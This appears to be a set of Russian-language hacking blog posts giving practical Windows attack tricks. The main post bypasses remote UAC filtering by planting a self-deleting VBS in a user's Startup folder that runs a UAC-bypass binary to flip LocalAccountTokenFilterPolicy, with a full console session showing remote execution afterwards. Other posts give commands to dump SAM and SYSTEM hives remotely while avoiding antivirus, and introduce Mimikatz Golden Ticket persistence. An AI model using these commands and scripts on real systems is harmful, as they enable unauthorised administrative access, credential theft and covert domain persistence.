[hacking tricks] LocalAccountTokenFilterPolicy bypass

Скверный для хакера параметр безопасности винды LocalAccountTokenFilterPolicy, появившийся со времен Windows Vista, отвечает за функциклирование удаленного ограничения UAC.  Это такая штука, которая фильтрует наличие привилегий админстратора по сети в отношении всех локальных пользователей системы, которые входят в группу "Администраторы". То есть, все локальные администраторы, кроме дефолтового админа с SID 500, не смогут воспользоваться интерфейсами удаленного администрирования (SMB, RPC, ...) до тех пор пока данный механизм безопасности включен. Но я кажется нашел алгоритм обхода и он основан не на подключении по RDP :)

Предлагаемый способ основан на том, что в конфигурациях по умолчанию современных Windows систем для конечных пользователей хитрым образом шарится папочка "C:\Users", содержащая профили пользователей. Я думаю, что уже после этой фразы стал очевиден сценарий атаки при наличии идентификатора и пароля пользователя, которого удаленная система не желает воспринимать в качестве администратора. Значит экзекнуться в подобной ситуации уже реально, остается лишь разобраться с локальным UAC, чтобы стать полноценным администратором системы.

Для обхода локальных ограничений безопасности UAC можно воспользоваться наработками Leo Davidson, которые затем переконтовали в удобную консольную тулу [забрать]. Стоит лишь добавить, что метод обхода локального UAC работает также и на Windows 8 со всеми обновлениями безопасности на сегодняшний день.

C:\Temp>

Microsoft Windows [Версия 6.0.6001]
(C) Корпорация Майкрософт, 2006. Все права защищены.

C:\Temp>net use \\RHOST\ADMIN$ /u:rhost\admin password
Системная ошибка 5.
Отказано в доступе.

C:\Temp>wmic /node:RHOST /user:rhost\admin /password:password process call create "cmd.exe /c ipconfig"
ERROR:
Code = 0x80070005
Description = Отказано в доступе.
Facility = Win32

C:\Temp>net use \\RHOST\ipc$ /u:rhost\admin password
Команда выполнена успешно.

C:\Temp>net view \\RHOST /all
Общие ресурсы на \\RHOST

Имя общего ресурса  Тип   Используется как  Комментарий
-------------------------------------------------------------------------------
ADMIN$              Диск                    Удаленный Admin
C$                  Диск                    Стандартный общий ресурс
IPC$                IPC   (UNC)             Удаленный IPC
Users               Диск
Команда выполнена успешно.

C:\Temp>dir \\RHOST\Users
 Том в устройстве \\RHOST\Users не имеет метки.
 Серийный номер тома: 5EE0-B619

 Содержимое папки \\RHOST\Users

30.03.2014  20:07    <DIR>          .
30.03.2014  20:07    <DIR>          ..
30.03.2014  20:00    <DIR>          admin
30.03.2014  18:10    <DIR>          Public
               0 файлов              0 байт
               4 папок   6 799 081 472 байт свободно

C:\Temp>dir "\\RHOST\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
 Том в устройстве \\RHOST\Users не имеет метки.
 Серийный номер тома: 5EE0-B619

 Содержимое папки \\RHOST\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

30.03.2014  23:34    <DIR>          .
30.03.2014  23:34    <DIR>          ..
               0 файлов              0 байт
               2 папок   6 799 081 472 байт свободно

C:\Temp>copy /Y bypassuac.exe \\RHOST\Users\admin\AppData\Local\Temp\
Скопировано файлов:         1.

C:\Temp>type logon.vbs
On Error Resume Next
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "C:\Users\admin\AppData\Local\Temp\bypassuac.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f",0,true
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile "C:\Users\admin\AppData\Local\Temp\bypassuac.exe",true
objFSO.DeleteFile "C:\Users\admin\AppData\Local\Temp\tior.exe",true
objFSO.DeleteFile Wscript.ScriptFullName,true

C:\Temp>copy /Y logon.vbs "\\RHOST\Users\admin\AppData\Roaming\Microsoft\Wi
ndows\Start Menu\Programs\Startup\"
Скопировано файлов:         1.

C:\Temp>net use \\RHOST\ipc$ /del
\\RHOST\ipc$ успешно удален.

C:\Temp> /* WAIT WAIT
C:\Temp> /* logoff/login user */
C:\Temp> WAIT */

C:\Temp>net use \\RHOST\ADMIN$ /u:rhost\admin password
Команда выполнена успешно.

C:\Temp>wmic /node:RHOST /user:rhost\admin /password:password process cal
l create "cmd.exe /c ipconfig"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 4320;
        ReturnValue = 0;
};

C:\Temp>

[hacking tricks] Exec via RPC with output

Иногда бывают такие ситуации, когда на удаленном хосте под управлением операционной системы Windows (выше 9x)) файрволом прикрыты все управляющие порты (SMB, WinRM, RDP, etc) кроме 135/tcp RPC. И вот вроде бы и нужные права имеются, и даже удаленный exec отрабатывает, но ходишь вокруг такой машины, как слепой котенок, облизываешься, в надежде, что msf multi/handler выдаст заветное приглашение. Пора прозреть!


Предлагаемый мною способ прост как две копейки и основан на возможности работы с реестром через WMI (к слову, служба удаленного реестра тут не используется). Пруф ниже.

ЗЫ:  концепт схож с подходом, используемым парнями из DSEC при выполнении команд через Quick Console в Lotus Domino.

[hacking tricks] Тихий pwdump

Каждый раз, когда необходимо выдрать локальную базу SAM с компутера под управлением окон, у тулов серии pwdump начинается истерика в предвестии реакции используемого авера на удаленной машине(( И этот процесс все чаще начинает походить на танцы с бубном вокруг когда-то девственного софта, не побывавшего в лаборатории дяди ммм... вирусного аналитика) Поэтому, дабы сэкономить время и нервы (юзверей) приходится отказываться от стороннего ПО и прибегать к использованию встроенных средств операционной системы :)

Про скрытые копии я уже говорил ранее. Этот способ отлично подходит для перетягивания содержимого адешечки. А вот для локальной базы SAM существуют и другие не менее простые варианты. Один из них представлен ниже.

C:\Windows\System32>

net use \\RHOST\c$ /u:admin password
sc \\RHOST config RemoteRegistry start= demand
sc \\RHOST start RemoteRegistry
reg save \\RHOST\hklm\sam sam
reg save \\RHOST\hklm\system system
move \\RHOST\C$\Windows\System32\sam sam
move \\RHOST\C$\Windows\System32\system system
sc \\RHOST stop RemoteRegistry
sc \\RHOST config RemoteRegistry start= disabled
net use \\RHOST\c$ /del

После чего соответствующие файлы передаются понимающим их гуям [например].


[hacking tricks] Including password in runas command line

Все пентестеры (и не только) эпизодически натыкаются на проблему, связанную с запуском локального процесса от имени другого пользователя из командной строки. К сожалению, поставляемая с виндой тулень  runas не спасает т.к. в ней отсутствует возможность передачи пароля в качестве аргумента. Такой способ:

C:\Windows\System32>

C:\Windows\System32> echo password | runas /u:user cmd


Увы, работал(ет) только на устаревших системах. Решение: использовать API функцию CreateProcessWithLogonW. Код ниже, бинарь тут (md5:424872148d3e84ed99cedd5bfbb8740c)

[hacking tricks] Mimikatz Golden Ticket

Данная рубрика будет кратко освещать практические примеры реализации тех или иных атак без утомительно долгих вступлений о природе и погоде. Только суть. И в качестве первой заметки под этим тегом речь вновь зайдет о создании Golden Ticket. Так получилось, что Benjamin буквально на днях добавил кусок кода, отвечающий за идентификатор пользователя и список групп, участником которых становится счастливый обладатель золотого билета Kerberos. Этим и предлагаю пользоваться!

Yep! Another backdoor in Active Directory :: Mimikatz Golden Ticket

В начале этого года Benjamin Delpy aka gentilkiwi вновь порадовал сообщество очередным исследованием и, как следствие, новым функционалом в своей эпической сборке под названием Mimikatz. Речь идет про использование архитектурных особенностей службы Kerberos в Microsoft Active Directory с целью скрытого сохранения привилегированного доступа над ресурсами домена. Чтобы понять всю ценность раскопок gentilkiwi, стоит освежить свои знания в контексте протокола Kerberos и о его месте в службе каталогов Microsoft.

Что мы помним про Kerberos? Из сухой теории по безопасности припоминается, что это какой-то сетевой протокол аутентификации, изначально спроектированный в недрах Массачусетского универа… это что-то болтающееся на контроллерах домена в виде открытого порта 88 и предназначенное для прозрачной авторизации к ресурсам домена. Это "нечто муторное", делающее жизнь администратора сети радостной и беззаботной...

(картинка дернута со страницы википедии)